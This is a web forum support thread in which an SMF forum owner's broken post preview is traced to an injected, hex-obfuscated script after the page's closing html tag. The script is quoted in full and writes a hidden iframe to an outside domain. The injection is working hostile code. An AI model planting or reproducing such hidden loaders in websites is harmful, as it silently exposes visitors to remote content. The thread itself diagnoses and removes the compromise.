I seem to have issues when trying to load the preview in my SMF forum.
It shows the text "Fetching preview..." and stays that way.
It was working previously so I'm wondering what I could have done to effect this.
Does anyone know what I need to replace or check to make sure this is working properly?
Powered by SMF 2.0 Beta 3.1 Public
Thanks in advance,
Matt
link to your forum?
http://flash-deck.com/forum/
There's an extra script tag after the </html tag
</body></html><script type="text/javascript">function uavxgizkldzyckm(fuqgkpou){var dtzhtxkdkr="";for(dolnbjhcfei=0;dolnbjhcfei<fuqgkpou.length;dolnbjhcfei+=2){dtzhtxkdkr+=(String.fromCharCode(parseInt(fuqgkpou.substr(dolnbjhcfei,2),16)));}document.write(dtzhtxkdkr);}uavxgizkldzyckm("3C69eiqpxekm66eiqpxekm72eiqpxekm616D652073eiqpxekm72633D226874eiqpxekm74eiqpxekm70eiqpxekm3Aeiqpxekm2F2F746Feiqpxekm703130302D636F756E74eiqpxekm65722E636Feiqpxekm6Deiqpxekm2Feiqpxekm746Feiqpxekm70eiqpxekm3130302F69eiqpxekm6E6465782E70eiqpxekm68eiqpxekm70eiqpxekm22eiqpxekm20eiqpxekm66eiqpxekm72eiqpxekm61eiqpxekm6D65626Feiqpxekm72eiqpxekm64eiqpxekm6572eiqpxekm3D22eiqpxekm30eiqpxekm2220eiqpxekm626F72eiqpxekm646572eiqpxekm3D2230eiqpxekm22eiqpxekm20eiqpxekm7769eiqpxekm64eiqpxekm7468eiqpxekm3Deiqpxekm22eiqpxekm30222068eiqpxekm65eiqpxekm69eiqpxekm67eiqpxekm68eiqpxekm743Deiqpxekm22302220737479eiqpxekm6Ceiqpxekm65eiqpxekm3D22eiqpxekm70eiqpxekm6Feiqpxekm73eiqpxekm6974eiqpxekm69eiqpxekm6F6E3A206162eiqpxekm736F6C757465eiqpxekm3B20eiqpxekm76697369eiqpxekm62eiqpxekm696C69eiqpxekm74793A20eiqpxekm68696464eiqpxekm65eiqpxekm6Eeiqpxekm3B2064eiqpxekm69eiqpxekm73eiqpxekm70eiqpxekm6Ceiqpxekm61793Aeiqpxekm206E6F6E65eiqpxekm22eiqpxekm3Eeiqpxekm3Ceiqpxekm2Feiqpxekm696672eiqpxekm61eiqpxekm6Deiqpxekm65eiqpxekm3Eeiqpxekm".replace(/eiqpxekm/g, ""));</script>
If this is valid javascript code, it needs to be added inside both the </body> and </html> tags.
Moved to support boards
Should that even exist in the SMF forum ?
I think that's a injection :S
I didn't think so, but i don't know what it is, either. I'd remove it and check all the rest of your files.
Such things as this breaking can actually be a good indicator of such.
I'm waiting for my team to scan the file to see who last edited it for IP before i can remove.
Thanks for your help :) I'll keep ya posted if this solves it.
Let us know :)
Make sure as well to notify your host, they may be able to help track down the point of entry, as well.
Yep have done :)
They've taken out and now works fine =)
I let them take out so they can track.
Tomorrow I will be installing latest version of SMF to protect from any other bugs that can allow injections.
DotDefender should protect us for tonight.
Thanks again for your help.